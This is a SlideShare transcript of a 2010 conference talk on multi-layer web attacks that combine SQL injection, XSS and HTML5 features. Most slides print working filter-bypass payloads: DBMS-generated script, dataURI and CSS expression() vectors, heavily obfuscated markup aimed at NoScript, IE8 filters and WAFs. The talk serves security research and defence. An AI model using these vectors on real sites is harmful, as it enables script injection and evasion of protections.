Download as PDF, PPTX
![MySQL and PostgreSQL
MySQL only ships two basic XML functions
UpdateXML() and ExtractValue()
PostgreSQL has far more advanced XML support
SELECT xmlelement(name img,xmlattributes(1 as
src,'alert(1)'as onerror))
SELECT xmlforest(loWER('x41'||'lert(1)') AS
script);
And my favorite
SELECT xpath('//text()',
'<x:x><imgx20src=x
onerror=alert(1);//</x:x>',
ARRAY[ARRAY['x', '']]);](https://image.slidesharecdn.com/thefutureofwebattacksnsfwspeakerscut-100526174309-phpapp01/75/The-Future-of-Web-Attacks-CONFidence-2010-11-2048.jpg)
![Code please
<script type="text/javascript">
openDatabase('',1,1,0).transaction(function($){
$.executeSql(
'SELECT "x61lert(1u0029"', [], function($,results){
for(i in results.rows.item(0))
eval(results.rows.item(0)[i])
})
})
</script>
Selects the string "alert(1)"
And evaluates the result](https://image.slidesharecdn.com/thefutureofwebattacksnsfwspeakerscut-100526174309-phpapp01/75/The-Future-of-Web-Attacks-CONFidence-2010-13-2048.jpg)
Uploaded byMario Heiderich
The Future of Web Attacks - CONFidence 2010
This document discusses current and emerging web attacks. It notes that while cross-site scripting (XSS) and SQL injection attacks were once prevalent, modern web applications and browsers incorporate defenses against these attacks. However, the document argues that web applications and browsers are evolving in ways that enable new types of multi-layer attacks. Examples are provided of attacks that combine layers like the database management system, JavaScript execution in browsers, and HTML parsing quirks to bypass defenses. The document urges security researchers and practitioners to consider these evolving attack techniques and the growing diversity of client devices and applications.
More Related Content
Similar to The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
- 1. The Presence andFuture of Web Attacks Multi-Layer Attacks, XSSQLI+ and HTML5 A presentation by Mario Heiderich for CONFidence 2010, Krakow
- 2. WARNING This talk willbe technical, chaotic and|or hurt
- 3. Intro Mario Heiderich @0x6D6172696F Based in Cologne CTO for Business IN Inc - working on workube.com Independent Security Researcher PHPIDS and something we will see later on
- 4. Why this talk? What happened to web application security? Always the same... so 2002 right? XSS, SQL Injections, Auth and path traversal We have amazing things now! NoScript, the IE8 and Chromium XSS filter and CSP Users must be safer than ever! But didn't the web change? Wasn't there HTML5 and next generation browsers?
- 5. Oh wait -developers! Web app development frameworks help Building applications faster Pre-implemented SQLI and XSS protection Secure forms with complex CSRF tokens Webroot contains webroot only files Weaknesses regarding JavaScript generation Client side logic mostly built manually Different templates for browsers, mobile devices, feeds Offline mode, client side validation, DOM access
- 6. User Agents onsteroids Chrome 5 and Opera 10.5 ship client side databases IE9 is coming soon with more standards conformity Integrated security mechanisms The death of eval() A fat client dynasty is coming up Who needs a server anyway if clients do all the work And store their data in „the cloud“ Bye bye SQL - say hello to NoSQL?
- 7. Web applications arechanging And so are the attacks against them If the attack happens on and against the client Of what use will a server side IDS / WAF solution be? Today we can have a little preview for that scenario One question might be... How will protective mechanisms react on multi-layer attacks?
- 8. Multi-layer what? What about utilizing the DBMS to generate an XSS attack NoScript detects most XSS attacks without problems Circumvention has become very difficult Thanks to Giorgio Maone and the NoScript user base. And me :P Let's have a look at my last one (disclosed via SSD - fixed in 1.9.9.48) Aren't dataURIs the sweetest thing? <a href="data: . , % 3 c s cri 
 pt % 3 e alu0065rt(1)%3c /s C RI 	 P t>"
- 9. Difficult! We can probably agree that it's not as easy anymore Same thing for the IE8 XSS filter Or implementations of toStaticHTML() Most quirky JavaScript encoding techniques are documented Not too many user agent specific surprises anymore Help from another layer would be appreciated Let's have a look at a "classic webapp" example
- 10. Imagine the DBMShelps Hypothesis A verbose SQL Injection vulnerability is always at least an "unfilterable" XSS Verification Just make use of the obfuscation possibilities the DBMS provides SELECT 0x3C7363726970743E616C6572742831293C2F7363726970743E SELECT UpdateXML(concat( 0x3c,'script',0x3e,'alert(1)',0x3c,'/ script',0x3e), '/x', 0); SELECT/**/'<sc'"rip"'t>al'"er"'t(1)'"</sc"'ript>'
- 11. MySQL and PostgreSQL MySQL only ships two basic XML functions UpdateXML() and ExtractValue() PostgreSQL has far more advanced XML support SELECT xmlelement(name img,xmlattributes(1 as src,'alert(1)'as onerror)) SELECT xmlforest(loWER('x41'||'lert(1)') AS script); And my favorite SELECT xpath('//text()', '<x:x><imgx20src=x onerror=alert(1);//</x:x>', ARRAY[ARRAY['x', '']]);
- 12. SQL Injection andXSS There are more intersections for XSS and SQLI „Remember“ the client side databases? And the short lived Google Gears? HTML5 and W3C Offline Web Applications 1.0 give us window.openDatabase() SQL execution on the user agent Currently supported by Chrome and Opera Usually implemented using SQLite
- 13. Code please <script type="text/javascript"> openDatabase('',1,1,0).transaction(function($){ $.executeSql( 'SELECT "x61lert(1u0029"', [], function($,results){ for(i in results.rows.item(0)) eval(results.rows.item(0)[i]) }) }) </script> Selects the string "alert(1)" And evaluates the result
- 14. Short Roundup The browsers speak SQL now The server side DBMS can generate HTML and JavaScript We already outsmarted NoScript and IE8 XSS filter Not really a fair game though Multi-layer attacks mean multi-layer obfuscation In future webapps the client side DBMS will generate our XSS payload But today we still have to trick the server side protection Bypass IDS and WAF with a trigger
- 15. Attackers like obfuscation And why wouldn't they - right? Obfuscation usually means concatenation And a bit of encoding spice But how to concatenate in SQL so no one will notice the attack? Which operator to choose? Everybody knows chr(), char() and double-pipe...
- 16. In MySQL -none at all MySQL doesn't need parenthesis to concatenate And doesn't know the double-pipe operator Sorry mod_security... But luckily MySQL accepts concatenation via whitespace SELECT "a" "d" "m" "i" "n" SELECT'a'"d"'m'"i"'n' Or why not use an integer overflow in char() SELECT concat( char( x'70617373', b'1110111011011110111001001100100'))
- 17. So again... We can bypass the server side protection mechanisms As well as client side tools No parenthesis or special operators needed on MySQL We can also trick MySQL and the IDS with MySQL specific code SELECT--/*!500005,*//*!400004,*//*!300003,*/
- 18. Back to theuser agent But what if no server side DBMS is involved in the attack What if the client side database is being targeted We still need to execute some JavaScript bypassing either server side IDS and the client side security mechanisms Let's have a look at some freaky examples
- 19. Remember dataURIs? The whole requested resource embedded in the URI DataURIs work smoothly on Firefox, Opera and Chrome But IE8 and 9 have problems Some say the minimal dataURI support was just for ACID 2
- 20. People say... ...it's not possible to execute JavaScript via dataURI on IE Do we agree on that? No we don't! <style> @import "data:,*%7bx:expression(write(2))%7D"; </style> <link rel="Stylesheet" href="data:,* %7bx:expression(write(4))%7d">
- 21. And there's more CSS expression() is believed to be dead on IE8 But it isn't It's only disabled in standard mode In case a recognized DOCTYPE is present The new HTML5 doctype isn't So this works: <!docytpe html> <div style="background:url('abc', x!=x=expression(write(2));)">
- 22. And even worse... HTML5 forces user agents to be more tolerant again New tags, new attributes, new parsing rules And tons of new features like the mentioned openDatabase() Some nifty examples from the future <video/poster=javascript:alert(1)// Opera 10.5+ <style>@import javascript:alert(1); // IE9 (!)
- 23. Closing tags +free 0day Another weird artifact has been reported for IE6 some years ago It's attributes in closing HTML tags Believed to be dead... but This still works on all IEs <td>phoobar</td style=expression(write(1))> And what about this? <style>*{background:url(foo!!- =expression(write(1));</style>
- 24. Opera CSS XSS Since Mozilla fixed the dataURI and cross domain problems with -moz-binding IE was believed to be unique Unique regarding JavaScript execution via CSS But Opera ships an artifact too <style>*{-o-link:'javascript:alert(1)';-o-link- source:current}</style>
- 25. Now we have... Server side SQL helping to circumvent client side XSS filters Effective SQL obfuscation circumventing WAF and IDS "Obfuscation-mash ups" using several layers Quirky HTML triggers to execute the JS Sounds like only one player is missing Even more freaky markup obfuscation! Awesome! Now breathe..
- 26. Meet Harold themarkup ghoul This is Harold: 1;--<?f><l ￦ :!!:x /style=`b\65h0061vIor/ĸ :url(#default#time2)ö/';'` ￦ /onb egin= [µ=u0061lert(1)&# x5d//&#xyŧ> It's completely legitimate to call me a mad man now and say this is never gonna work So - demo time: http://heideri.ch/jso/what???
- 27. What... what isthis? It's a piece of markup – obfuscated to the max Working on IE only – but all versions from 5 to 9 Based on the HTML+TIME API (What? Stuff like that still exists?) Does your WAF know what to do with it? Overall about 12-13 obfuscation steps Buy me a beer later on and I will give you a full explanation :D
- 28. Round Up We are not living in web app = CRUD application times anymore Modern webapps accept input from many channels User input via HTTP is just one of them API calls, RPC, DOM, Drag&Drop, file meta data & EXIF... WAF/IDS as well as pentesters need to look into HTML5 New application structures and design pattern must be understood Client and server versus rich-client and cloud SQLite and NVP versus RDBMS Massive client diversity via mobile devices
- 29. Expectations and tasks Fewer basic and reflective XSS More out-of-band attacks and heavy obfuscation We didn't even cover Flash and PDF More JSON and E4X hijacking SVG based attacks and rogue multimedia objects Don't ignore the user agent Understand client side obfuscation and multi-layer obfuscation Don't trust filters. Ever. We broke HTMLPurifier and most other markup filters some days ago with one single vector And don't trust the cloud – it's a business model and not your buddy :D
- 30. So what canI do? Help with research and participation! Communication and disclosure For good! But how?
- 31. The Ultimate Cheatsheet http://heideri.ch/jso
- 32. Ping us! Add new vectors Get a channel to speak to vendors Most are more responsive than one might think Use it for.. Your own scanner software Your own local version Whatever you want! Open API in JSON Multiple languages Flexible payload You need more? Tell us!
- 33. Do what now? Go here! http://code.google.com/p/html5security/
- 34. Questions & Comments Thanks very much for listening! Wait - no goodies this time? Meh!!1
- 35. Yaaaaaaay! Goodies! Did you know Firefox has a DOM object called crypto? PKI meets JavaScript And another eval() for free! crypto.generateCRMFRequest( 'CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use' );
- 36.